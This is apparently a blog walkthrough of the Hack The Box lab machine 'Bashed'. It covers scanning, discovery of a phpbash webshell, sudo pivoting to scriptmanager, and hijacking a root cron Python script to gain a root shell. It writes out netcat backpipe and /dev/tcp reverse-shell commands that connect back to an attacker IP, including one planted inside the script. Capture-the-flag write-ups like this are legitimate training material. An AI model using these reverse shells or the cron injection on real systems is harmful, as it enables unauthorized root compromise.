Hack the Box - Bashed

Bashed is a pretty easy box. It sets you up for an easy win and gives you a really cool tool I've used quite a few times for gaining web shells, like the one I used in Networked. It's called phpbash, and you can get it here.

With that said, let's get to popping this sucker. Shall we?

Nmap results

Nmap, of course to start things off. When doing my Nmap scans, I like to start with a basic scan (which is the default Nmap 1000 TCP ports). Then I investigate what I find as I run a second scan that covers the full port range -p-.

When that is done, I start running Nmap's safe scripts against all the open ports I find. The whole time that scans are running, I like to manually poke around at the box and see if there's anything I can find.

Here's how my Nmap scans ran:

@KakaLinpoop:~/Documents/htb/boxes/bashed/nmap$ nmap -T4 10.10.10.68 -oN basicScan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-09 19:11 CDT
Nmap scan report for 10.10.10.68
Host is up (0.14s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 18.76 seconds





@KakaLinpoop:~/Documents/htb/boxes/bashed/nmap$ nmap -T4 -p- 10.10.10.68 -oN allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-09 19:11 CDT
Stats: 0:02:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 37.09% done; ETC: 19:18 (0:04:03 remaining)
Stats: 0:06:09 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 99.99% done; ETC: 19:18 (0:00:00 remaining)
Nmap scan report for 10.10.10.68
Host is up (0.14s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 369.47 seconds





@KakaLinpoop:~/Documents/htb/boxes/bashed/nmap$ nmap -T4 -p 80 -sV -sC 10.10.10.68 -oN scriptScan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-09 19:18 CDT
Nmap scan report for 10.10.10.68
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds

We can see that I initially ran a basic scan. Then I ran a full range of all TCP ports. After that, I ran a script+version scan against the open ports.

Again, while all of this is happening, I poke around the box and see what I can find.

Port 80 - HTTP

It's a simple site that reads phpbash. Clicking on that takes us to a link showing us a tool called phpbash along with another link to a GitHub page:

Interesting.

I always check common directories like /robots.txt, /admin and /login or /login.php. There's nothing in those directories, so let's bust out GoBuster.

GoBuster

Let's GoBust this mofo. I usually start with the common list:

@KakaLinpoop:~/Documents/htb/boxes/bashed/gobuster$ gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirb/common.txt -o commonWords
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.68
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/07/09 19:29:40 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/dev (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/php (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2020/07/09 19:31:09 Finished
===============================================================

We will manually go through the directories to see what's there. The one that stands out as particularly interesting is /dev. In there, we will see two files: phpbash.min.php and phpbash.php.

Clicking on one of these takes us to a browser-based terminal emulator. Essentially, a php webshell:

We can see that we are the user www-data. This is a low-priv user that belongs to the web application. interestingly, we can read user arrexel's files, which allows us to read user.txt in /home/arrexel.

Some of the first commands I always run when I get a shell are id and sudo -l

id - lets me see what user I am and what groups I am in.

sudo -l - shows me what commands I can run with sudo, and which of those I can run without a password.

Let's see what that does.

We get the following:

www-data@bashed
:/home/arrexel# sudo scriptmanager

sudo: no tty present and no askpass program specified

Oh well. Let's catch a shell:

Finding a shell

We have Netcat, but no -e option. Easy fix!

Netcat without -e

Attacker: nc -nvlp 443

Victim: mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc attacker 443 1>/tmp/backpipe

source: https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/

Source: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Now we have a reverse shell and we can set up a real terminal environment.

From our terminal where we just caught the reverse shell, run the following:

python -c 'import pty; pty.spawn("/bin/bash")'

After that, you can do this:

  1. Hit ctrl+z to put your current netcat session in the background.
  2. Type stty raw -echo
  3. Type fg and enter to bring your process back into the foreground.
  4. Now I have a shell with tab complete.

Sweet! Now we have a better shell and we should be able to see what scriptmanager is. Enumerating further shows us that it's a user:

www-data@bashed:/srv$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash

Interesting. Scriptmanager doesn't seem to be a command. It's a user. Perhaps this means we can run a command a a user:

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

Some searching takes me to the following: https://www.oreilly.com/library/view/linux-security-cookbook/0596003919/ch05s03.html

If sudo says I can run a command as a user. Let's give it a try:

www-data@bashed:/srv$ sudo -u scriptmanager whoami
scriptmanager

This means I can run any command as that user.

Eventually, through more searching, I find a Python script in the root directory called /scripts:

www-data@bashed:/home/scriptmanager$ sudo -u scriptmanager ls /scripts
test.py  test.txt

Because I'm a lazy bugger and don't want to type sudo -u scriptmanager all the time, I create a quick alias:

www-data@bashed:/$ alias bruh="sudo -u scriptmanager"

Now when I type bruh followed by a command, I automatically run it as scriptmanager:

www-data@bashed:/$ bruh whoami
scriptmanager

The two files in /scripts

First, let's take a look at test.txt:

www-data@bashed:/$ bruh cat scripts/test.txt 
testing 123!

Cool.

Now test.py:

www-data@bashed:/$ bruh cat scripts/test.py  
f = open("test.txt", "w")
f.write("testing 123!")
f.close

Checking out ownership of those files:

www-data@bashed:/$ bruh ls -larth scripts/
total 16K
drwxr-xr-x 23 root          root          4.0K Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
drwxrwxr--  2 scriptmanager scriptmanager 4.0K Dec  4  2017 .
-rw-r--r--  1 root          root            12 Jul  9 18:40 test.txt

Interesting. The file this script creates belongs to root.

Modify the Python script:

www-data@bashed:/$ bruh cat /scripts/test.py
import os

f = open("test.txt", "w")
f.write("testing 123!")
f.close

os.system("whoami > wanker.txt")

Viewing the output:

www-data@bashed:/$ bruh ls -l /scripts/
total 12
-rw-r--r-- 1 scriptmanager scriptmanager 103 Jul  9 18:48 test.py
-rw-r--r-- 1 root          root           12 Jul  9 19:52 test.txt
-rw-r--r-- 1 root          root            5 Jul  9 19:52 wanker.txt
www-data@bashed:/$ bruh cat /scripts/wanker.txt 
root

Getting Root

If the above file output is anything to go by, we should be able to create a reverse shell with python and set up a listener on our Kali box. Let's dooo eeeet!

The easiest way is probably just a bash reverse shell using the os module in python:


import os

f = open("test.txt", "w")
f.write("testing 123!")
f.close

os.system("whoami > wanker.txt")
os.system("bash -i >& /dev/tcp/10.10.14.34/31337 0>&1")

I'm a bit lazy, but I can see that the script seems to run every minute on the minute without much investigation. I can see this because the file creation time for test.txt and wanker.txt updates each minute:

www-data@bashed:/$ bruh ls -l /scripts/
total 12
-rw-r--r-- 1 scriptmanager scriptmanager 159 Jul  9 20:02 test.py
-rw-r--r-- 1 root          root           12 Jul  9 20:07 test.txt
-rw-r--r-- 1 root          root            5 Jul  9 20:07 wanker.txt
www-data@bashed:/$ bruh ls -l /scripts/
total 12
-rw-r--r-- 1 scriptmanager scriptmanager 159 Jul  9 20:02 test.py
-rw-r--r-- 1 root          root           12 Jul  9 20:08 test.txt
-rw-r--r-- 1 root          root            5 Jul  9 20:08 wanker.txt

There are other ways to validate that, but this just happened by chance as I was looking at those files. The file creation time made me realize that the script is running every minute.

That said, my update to the script didn't seem to give me a shell.

We will resort to my favorite technique:

import os

f = open("test.txt", "w")
f.write("testing 123!")
f.close

os.system("whoami > wanker.txt")
os.system("mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 10.10.14.34 31337 1>/tmp/backpipe")

The backpipe trick!

Boom! We got a root shell!

@KakaLinpoop:~/Documents$ nleet
listening on [any] 31337 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.68] 51116
whoami
root

Upgrading the shell

We've done this a few times before. Here it goes. From the terminal window I just caught the shell on:

python -c 'import pty; pty.spawn("/bin/bash")'

Then:

  1. Hit ctrl+z to put your current netcat session in the background.
  2. Type stty raw -echo
  3. Type fg and enter to bring your process back into the foreground.
root@bashed:~# whoami
root

Final thoughts

That box wasn't so hard. It did introduce us to a cool tool, which I think was the creator's intent. I added it to my list of tools and use it anytime I can drop a php webshell on a box.